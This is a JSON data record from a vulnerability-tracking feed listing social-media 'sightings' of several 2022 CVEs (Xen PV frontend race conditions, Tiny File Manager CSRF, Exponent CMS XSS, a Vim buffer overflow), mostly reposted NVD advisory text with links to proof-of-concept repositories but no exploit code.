{"vulnerability": "cve-2022-2304", "sightings": [{"uuid": "68173560-66bd-4c51-9e68-bd2df5c1ce1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23041", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3loyt2cqyuk2d", "content": "", "creation_timestamp": "2025-05-12T20:35:14.502889Z"}, {"uuid": "a4eb82fd-69a6-4cd8-aebf-882d24a6f04f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23041", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lp2raux35s27", "content": "", "creation_timestamp": "2025-05-13T15:08:26.584359Z"}, {"uuid": "59da0f6a-0458-4853-89d9-8a51cf127ecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2274", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aTinker Script for CVE-2022-23046\nURL\uff1ahttps://github.com/bernauers/CVE-2022-23046\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-23T20:50:19.000000Z"}, {"uuid": "451d391a-5e1b-472b-bc2c-e620243ac27a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23044", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13493", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-23044\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Tiny File Manager version 2.4.8 allows an unauthenticated remote attacker to persuade users to perform unintended actions within the application. This is possible because the application is vulnerable to CSRF.\n\n\n\n\ud83d\udccf Published: 2022-11-25T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-25T17:33:39.212Z\n\ud83d\udd17 References:\n1. https://github.com/prasathmani/tinyfilemanager/\n2. https://fluidattacks.com/advisories/mosey/", "creation_timestamp": "2025-04-25T18:08:30.000000Z"}, {"uuid": "60c6852a-12c6-4f31-8401-3a040a24a302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23044", "type": "seen", "source": "https://t.me/cibsecurity/53515", "content": "\u203c CVE-2022-23044 \u203c\n\nTiny File Manager version 2.4.8 allows an unauthenticated remote attacker to execute arbitrary code remotely on the server. This is possible because the application is vulnerable to CSRF, processes uploaded files server-side (instead of just returning them for download), and allows unauthenticated users to access uploaded files.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-11-25T20:15:38.000000Z"}, {"uuid": "952c9873-8cdf-4a84-88a2-2e8ab303cf54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2304", "type": "seen", "source": "https://t.me/cibsecurity/45588", "content": "\u203c CVE-2022-2304 \u203c\n\nStack-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-07-05T16:13:36.000000Z"}, {"uuid": "eef827ec-196d-462d-9751-17e75f780c91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23049", "type": "seen", "source": "https://t.me/cibsecurity/37157", "content": "\u203c CVE-2022-23049 \u203c\n\nExponent CMS 2.6.0patch2 allows an authenticated user to inject persistent JavaScript code on the \"User-Agent\" header when logging in. When an administrator user visits the \"User Sessions\" tab, the JavaScript will be triggered allowing an attacker to compromise the administrator session.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-10T02:19:17.000000Z"}, {"uuid": "6fd9dd16-2535-4989-8be0-e23e16740508", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23041", "type": "seen", "source": "https://t.me/cibsecurity/38742", "content": "\u203c CVE-2022-23038 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:10.000000Z"}, {"uuid": "f941157a-1513-49a0-8044-3a6f48d160a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23040", "type": "seen", "source": "https://t.me/cibsecurity/38742", "content": "\u203c CVE-2022-23038 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:10.000000Z"}, {"uuid": "b8ae132b-d35f-4ff6-8f05-c7f36e3bf98e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23042", "type": "seen", "source": "https://t.me/cibsecurity/38742", "content": "\u203c CVE-2022-23038 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:10.000000Z"}, {"uuid": "e32fc969-fedf-453a-89de-ce5e8d2cdbb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23041", "type": "seen", "source": "https://t.me/cibsecurity/38741", "content": "\u203c CVE-2022-23037 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:08.000000Z"}, {"uuid": "7250e6a2-34e8-483f-a4e3-85786e00817f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23040", "type": "seen", "source": "https://t.me/cibsecurity/38741", "content": "\u203c CVE-2022-23037 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:08.000000Z"}, {"uuid": "e0a25014-5c31-49dd-975e-a133f69ef3d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23042", "type": "seen", "source": "https://t.me/cibsecurity/38741", "content": "\u203c CVE-2022-23037 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:08.000000Z"}, {"uuid": "77f8dade-6846-4b08-aba4-314668b93bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23041", "type": "seen", "source": "https://t.me/cibsecurity/38740", "content": "\u203c CVE-2022-23039 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:07.000000Z"}, {"uuid": "6d323992-9080-4314-8dc1-f6f8e7fbdbef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23040", "type": "seen", "source": "https://t.me/cibsecurity/38740", "content": "\u203c CVE-2022-23039 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:07.000000Z"}, {"uuid": "40850955-b5f2-4c33-aaf0-162c729f606a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23042", "type": "seen", "source": "https://t.me/cibsecurity/38740", "content": "\u203c CVE-2022-23039 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:07.000000Z"}, {"uuid": "0ed21e41-c054-4b4d-a10b-cf4066f7e83d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23041", "type": "seen", "source": "https://t.me/cibsecurity/38739", "content": "\u203c CVE-2022-23042 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:05.000000Z"}, {"uuid": "16206f71-3dd1-4a24-8689-ee8ddca9cda0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23042", "type": "seen", "source": "https://t.me/cibsecurity/38739", "content": "\u203c CVE-2022-23042 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:05.000000Z"}, {"uuid": "4f6ced7a-feaa-40cc-a84f-0794463d46cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23040", "type": "seen", "source": "https://t.me/cibsecurity/38739", "content": "\u203c CVE-2022-23042 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:05.000000Z"}, {"uuid": "f6e394df-423d-4ee7-8bbd-dab8bba00699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23041", "type": "seen", "source": "https://t.me/cibsecurity/38738", "content": "\u203c CVE-2022-23041 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:01.000000Z"}, {"uuid": "b6572457-71df-4ef6-9a52-ef64e986d245", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23040", "type": "seen", "source": "https://t.me/cibsecurity/38738", "content": "\u203c CVE-2022-23041 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:01.000000Z"}, {"uuid": "18a387ec-8603-4ba0-bb1f-8aea1849d0bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23042", "type": "seen", "source": "https://t.me/cibsecurity/38738", "content": "\u203c CVE-2022-23041 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:01.000000Z"}, {"uuid": "5a8ba628-7896-4284-a03c-ab6210c69027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 